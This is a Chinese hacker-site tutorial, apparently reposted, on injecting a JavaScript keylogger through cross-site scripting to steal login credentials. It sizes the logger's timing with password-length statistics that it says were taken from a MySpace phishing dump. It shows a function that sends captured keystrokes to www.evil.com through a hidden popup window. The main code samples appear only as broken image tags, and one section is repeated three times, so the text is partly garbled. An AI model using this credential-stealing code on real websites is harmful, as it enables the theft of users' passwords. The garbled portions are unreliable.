首 页文章中心黑客工具黑吧学院技术论坛安全培训免费频道最近更新瑞星在线杀毒黑吧百度繁體中文
  设为首页
加入收藏
发布作品
   
栏目导航
· 漏洞利用 · 脚本注入
· 入侵实例 · 编程代码
· 逆向工程
热门文章
· 如何封别人QQ
· 充QQ币的疯狂——宽...
· 免费得QB
· 400秒远程攻破你的Q...
· [图文] QQ免费建400个群
· [组图] 给你一台永远不关机...
· [注意] QQ宠物砸蛋秘诀
· 再次有机会免费获得...
· 想的挂QQvip的进
· 在QQ中将自己从对方...
相关文章
利用跨站脚本攻击(XSS)摧毁Web
作者:佚名  来源:转载  发布时间:2008-11-19 2:48:50  发布人:黑客动画吧

减小字体 增大字体

本文是写给那些不拿XSS当Web应用严重漏洞的人看的。 实际上,人们可以利用XSS漏洞大捞一笔。本文是在热爱黑客技术但从不攻击他人的网站上发表的,所以我不会对这里介绍的知识的使用方式负任何责任。

一、引言

最近,我对XSS兴趣十足,所以决定写一篇文章来详细介绍如何注入一个Javascript按键记录器,当然,人们既可以利用本文介绍的知识来执行XSS入侵过滤,也可以使用这里介绍的Javascript按键记录器来盗取用户名、密码和用户证书。 让人揪心的是,即使不是Javascript专家的人,也能够写出行之有效的Javascript恶意代码的,只要你对web比较了解就行了。在本文的续篇中,我将为读者提供两种本质相同但风格各异的Javascript按键记录器。

要想读懂本文,你必须具备下列知识:

⒈ 如何写Html的网页表单。

⒉ 如何写Javascript DOM 对象。

3. 了解Http协议的基本功能。

4. 了解Javascript伪装技术。

⒌ 获悉Burp Suite1.1的用法。

二、我们的XSS的功能

在对XSS漏洞进行利用之前,我们必须知道这个XSS利用应该具备哪些功能。也就是说,要明确XSS攻击的目标,比如摧毁一个站点,进行用户重定向或是窃取用户证书(这才是我们最感兴趣的!!)。 就本文来说,我们的目标是打造一个具备按键记录器功能的XSS,所以,我们必须从用户的角度来考察登陆表单的情况,比如说用户名和密码的平均长度是多少? 用户的平均打字速度是多少?诸如此类的信息,我们会在打造能运行在IE、Firefox、Opera和NetScape浏览器上的Javascript按键记录器的时候派上用场,当然,我们会用不同的风格来实现这个按键记录器。我们的程序能窃取用户的认证信息,或者仅依靠计时(比如 在一段时间后自动运行)或仅基于密码长度(比如在用户键入5个字符后自动运行)或者是基于计时和密码长度(例如,可能进行某种字符踩点,像检测是否按下Enter键或Tab键)。

三、打字速度有多快?

我们为什么要考虑这个因素呢?因为必须使我们的按键记录器更行之有效。为了衡量每分钟的打字速度,一个单词被标准化为5个字符或5次按键。一项对普通电脑用户的研究表明,在抄写时平均录入速度是每分33个单词,在写作时就只有每分钟19单词了。[8]进行了类似的研究,它将所有人划分为“快”、“中”、“慢”三组,他们的平均速率依次为为40wpm(wpm即每分钟字数)、35wpm 和23wpm。 对于练二指禅的用户,他们靠记忆输入文本时速度能够达到37wpm,照文本输入时速度则在27wpm。

打字员平均能够达到50—70wpm,而一些职位需要80—95wpm(这通常是速录职位和其它录入行业的最慢要求),一些老练的打字员的速度甚至超过120wpm。

通过使用针对个人定制的接口,例如四肢瘫痪的物理学家斯蒂芬森·霍金使用电键和Walt Woltosz. Due制作的适配软件,录入速度可以达到15wpm。 由于他行动迟缓,它的录入接口后来升级为检测眼神的红外照相机,当然实际的wpm我们无处得知。

四、密码和用户名的平均长度是多少?

由于缺乏这样的调查数据,所以这的确是一个难以回答的问题。但最近,一些攻击者在MySpace发动网络钓鱼,结果34,000个用户名和密被曝光,我们可以藉此得到一些数据。这次攻击相当小儿科:攻击者伪造了一个MySpace登陆页面,当用户通过该页面登录时,他们照例输入用户名和密码,这些数据被分发到各被俘获的Web服务器上,随后攻击者就在这些服务器上收集个人信息。

据MySpace估计,在这个钓鱼网页关闭之前已有10多万人受到攻击。我的数据来自于两处收集点,当一小部分人意识到遭受钓鱼攻击而告发后,这些数据已被清除。进过分析这些数据,结论如下:

密码长度:

65%的密码的长度小于等于8个字符,17%的密码的长度小于等于6个字符,密码的平均长度为8个字符。

具体来说,密码的长度分布情况如下所示:

1-4     0.82%

5        1.1%

6        15%

7        23%

8        25%

9        17%

10      13%

11      2.7%

12      0.93%

13-32  0.93%

仅有3.8%的密码是由一个字典中的单词构成,另外的12%是一个单词加上一个数字组成——跟前面一样,其中2/3的最后一位都是1。

纯数字型 1.3%

纯字母型 9.6%

数字字母型 81%

非数字字母型 8.3%

利用好上述数据

现在,我们知道了密码长度极可能是8个字符,同时假定用户名长度为7个字符,由于普通用户根据记忆输入本文和密码时的平均打字速度是37wpm,所以:

用户名+口令=约15字符

一个单词=5字符

这意味着:用户名+密码 = 3 个单词,所以:

37/3 = 1/x => 37x = 1 => x =1/37 分钟

或x = 1/37 * 60000毫秒 = 1621毫秒(我会解释这里为什么要转换为毫秒)

现在,我们已知道一个用户输入其用户名和密码的平均时间,我们同时知道,他还可能用Tab或Enter键来切换文本域,之后才会提交表单数据。所以在用户进入登入页面后,按键记录器就开始核对时间——包括Enter,Tab键和密码的长度。

现在我们开始打造按键记录器。在我们的按键记录器中将用到DHTML的按键响应事件,并会在表单中注入一Javascript函数setTimeout 和window对象以及调用window.open方法来执行我们的代码(如果我们使用document.location的DOM对象或者使用document对象,用户无需重定向到另一个页面就可以窃取其密码并进行钓鱼攻击)。

如果知道要攻击的网站的密码安全策略的话,能够使按键记录器变得更加有效,例如,安全策略规定密码由三个字母、两个特殊字符和三个数字组合,我们就可以专门设计一个能够检测相应密码格式的按键记录器,并在检测到用户开始键入内容后自动执行(通过核对字符或长度),对于用户名也是同样的道理。

四、密码和用户名的平均长度是多少?

由于缺乏这样的调查数据,所以这的确是一个难以回答的问题。但最近,一些攻击者在MySpace发动网络钓鱼,结果34,000个用户名和密被曝光,我们可以藉此得到一些数据。这次攻击相当小儿科:攻击者伪造了一个MySpace登陆页面,当用户通过该页面登录时,他们照例输入用户名和密码,这些数据被分发到各被俘获的Web服务器上,随后攻击者就在这些服务器上收集个人信息。

据MySpace估计,在这个钓鱼网页关闭之前已有10多万人受到攻击。我的数据来自于两处收集点,当一小部分人意识到遭受钓鱼攻击而告发后,这些数据已被清除。进过分析这些数据,结论如下:

密码长度:

65%的密码的长度小于等于8个字符,17%的密码的长度小于等于6个字符,密码的平均长度为8个字符。

具体来说,密码的长度分布情况如下所示:

1-4     0.82%

5        1.1%

6        15%

7        23%

8        25%

9        17%

10      13%

11      2.7%

12      0.93%

13-32  0.93%

仅有3.8%的密码是由一个字典中的单词构成,另外的12%是一个单词加上一个数字组成——跟前面一样,其中2/3的最后一位都是1。

纯数字型 1.3%

纯字母型 9.6%

数字字母型 81%

非数字字母型 8.3%

利用好上述数据

现在,我们知道了密码长度极可能是8个字符,同时假定用户名长度为7个字符,由于普通用户根据记忆输入本文和密码时的平均打字速度是37wpm,所以:

用户名+口令=约15字符

一个单词=5字符

这意味着:用户名+密码 = 3 个单词,所以:

37/3 = 1/x => 37x = 1 => x =1/37 分钟

或x = 1/37 * 60000毫秒 = 1621毫秒(我会解释这里为什么要转换为毫秒)

现在,我们已知道一个用户输入其用户名和密码的平均时间,我们同时知道,他还可能用Tab或Enter键来切换文本域,之后才会提交表单数据。所以在用户进入登入页面后,按键记录器就开始核对时间——包括Enter,Tab键和密码的长度。

现在我们开始打造按键记录器。在我们的按键记录器中将用到DHTML的按键响应事件,并会在表单中注入一Javascript函数setTimeout 和window对象以及调用window.open方法来执行我们的代码(如果我们使用document.location的DOM对象或者使用document对象,用户无需重定向到另一个页面就可以窃取其密码并进行钓鱼攻击)。

如果知道要攻击的网站的密码安全策略的话,能够使按键记录器变得更加有效,例如,安全策略规定密码由三个字母、两个特殊字符和三个数字组合,我们就可以专门设计一个能够检测相应密码格式的按键记录器,并在检测到用户开始键入内容后自动执行(通过核对字符或长度),对于用户名也是同样的道理。

四、密码和用户名的平均长度是多少?

由于缺乏这样的调查数据,所以这的确是一个难以回答的问题。但最近,一些攻击者在MySpace发动网络钓鱼,结果34,000个用户名和密被曝光,我们可以藉此得到一些数据。这次攻击相当小儿科:攻击者伪造了一个MySpace登陆页面,当用户通过该页面登录时,他们照例输入用户名和密码,这些数据被分发到各被俘获的Web服务器上,随后攻击者就在这些服务器上收集个人信息。

据MySpace估计,在这个钓鱼网页关闭之前已有10多万人受到攻击。我的数据来自于两处收集点,当一小部分人意识到遭受钓鱼攻击而告发后,这些数据已被清除。进过分析这些数据,结论如下:

密码长度:

65%的密码的长度小于等于8个字符,17%的密码的长度小于等于6个字符,密码的平均长度为8个字符。

具体来说,密码的长度分布情况如下所示:

1-4     0.82%

5        1.1%

6        15%

7        23%

8        25%

9        17%

10      13%

11      2.7%

12      0.93%

13-32  0.93%

仅有3.8%的密码是由一个字典中的单词构成,另外的12%是一个单词加上一个数字组成——跟前面一样,其中2/3的最后一位都是1。

纯数字型 1.3%

纯字母型 9.6%

数字字母型 81%

非数字字母型 8.3%

利用好上述数据

现在,我们知道了密码长度极可能是8个字符,同时假定用户名长度为7个字符,由于普通用户根据记忆输入本文和密码时的平均打字速度是37wpm,所以:

用户名+口令=约15字符

一个单词=5字符

这意味着:用户名+密码 = 3 个单词,所以:

37/3 = 1/x => 37x = 1 => x =1/37 分钟

或x = 1/37 * 60000毫秒 = 1621毫秒(我会解释这里为什么要转换为毫秒)

现在,我们已知道一个用户输入其用户名和密码的平均时间,我们同时知道,他还可能用Tab或Enter键来切换文本域,之后才会提交表单数据。所以在用户进入登入页面后,按键记录器就开始核对时间——包括Enter,Tab键和密码的长度。

现在我们开始打造按键记录器。在我们的按键记录器中将用到DHTML的按键响应事件,并会在表单中注入一Javascript函数setTimeout 和window对象以及调用window.open方法来执行我们的代码(如果我们使用document.location的DOM对象或者使用document对象,用户无需重定向到另一个页面就可以窃取其密码并进行钓鱼攻击)。

如果知道要攻击的网站的密码安全策略的话,能够使按键记录器变得更加有效,例如,安全策略规定密码由三个字母、两个特殊字符和三个数字组合,我们就可以专门设计一个能够检测相应密码格式的按键记录器,并在检测到用户开始键入内容后自动执行(通过核对字符或长度),对于用户名也是同样的道理。

五、Javascript按键记录器的第一个版本……

由于下面的这个版本的按键记录器不是最有效的,所以在这里将要对它进行大量的修改。我们的第一个按键记录器的代码很简单,目的在于让大家了解有关基础知识,目前我们不必担心Javascript的注入机制,我们首先打造一个可工作的代码即可。在下面的代码里,我们建立了两个变量counter 和arrayOfChars,第一个变量记录用户的按键次数,第二个变量保存用户在发生前所有按下的字符。发送这些字符时,我们将调用document.location对象,但这也意味着用户将会从原来的web页面重定向到另一个web页面!为简单起见,我们第一个版本的按键记录器就先这样了。

代码:

javascript:return big(this)" alt="" src="/Article/UploadPic/2008-11/2008111924822652.jpg" onload="javascript:if(this.width>498)this.style.width=498;" border=0>
示例代码1:按键记录器的简易版,用来记录三字母的单词。

六、Javascript按键记录器的第二个版本……

我们的代码已经可以有条件的执行了,单如何才能更有效呢?是的,如果我们使用setTimeout对象的话,通过对输入用户名和密码的时间长度的有效的假定(通过利用前面提供的数据),就能获得更好的效果。

所以,接下来就是了解如何让setTimeout干活了!

SetTimeout()

使用window.setTimeout(),我们可以规定某段Javascript代码(或者说表达式)执行规定的毫秒,从setTimeout()方法调用时开始计时。该方法的一般语法是:[11]

setTimeout ( expression, timeout );

其中,expression是在timeout毫秒后执行的一些Javascript代码。[11]

SetTimeout()也返回一个数字式的timeout ID,能够用来跟踪timeout。它最用于clearTimeout()方法见下文P>

下面是一个简单的示示例:

input type="button" name="clickMe" value="Click me and wait!" 
onclick="setTimeout('alert(\'Surprise!\')', 5000)"

下面是使用onkeypress事件的html表单:

javascript:return big(this)" alt="" src="/Article/UploadPic/2008-11/2008111924823696.jpg" onload="javascript:if(this.width>498)this.style.width=498;" border=0>
示例代码2

示例代码2:Html文本框

每当一个键被按下时,以上所述代码就会执行我们的KeyLogger函数。现在,我们的函数使用了一个叫counter的全局变量,用户导航到其它web页面之前的数据一直存储在该变量内!

要想注入上述代码,我们必须先重载网页里的的表单事件(如果表单存在的话!)。这意味着,我们必须在该事件之前插入我们的代码,然后注释掉其余的代码!(我将会在下面进行详细介绍)。我们将要写入的代码表达式将以下列形式使用Javascript中的timeout:

function autoTrigger() { setTimeout(’sentData()’,1621 ); }  

示例代码3:这个函数将要替换示例代码1中第26行的sentData方法

示例代码2中的html代码根本用不着修改,我们只须修改第28行!如果输入的单词的长度大于3个字符,我们的代码就会在1621毫秒后自动触发……

为了使记录器更好玩,我们需要修改执条件和html的表单输入。所以我们需要检测enter键和一些关键字,并假设用户名和密码的长度大于15字符……。

为此,我们唯一要修改的是 sentData()函数,具体如下所示:

function sentData(var _keyNum){
if (arrayOfCharsToSent.length <= 15 && _keyNum == 13) {// 13 是enter的 ascii 码 ….
window.open(’http://www.evil.com/cgi?’+arrayOfCharsToSent.toString(),
’jav’,
’menubar=no,toolbar=no,scrollbars=no,width=1,height=1,resizable=yes’);
new_Win.blur()// This code is going to minimize the popup window
}
}

如今,我们的按键记录器会变成下面的样子:

javascript:return big(this)" alt="" src="/Article/UploadPic/2008-11/2008111924831105.jpg" onload="javascript:if(this.width>498)this.style.width=498;" border=0>

[ ] [返回上一页] [打 印] [收 藏]
 
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 网站导航 - 作品发布
互联网备案登记:粤ICP备05008775号
友情提示:浏览本站,请使用IE6.0浏览,并将分辩率设置为1024*768 为佳
Copyright © 2002-2005 Hack58.Com. All Rights Reserved .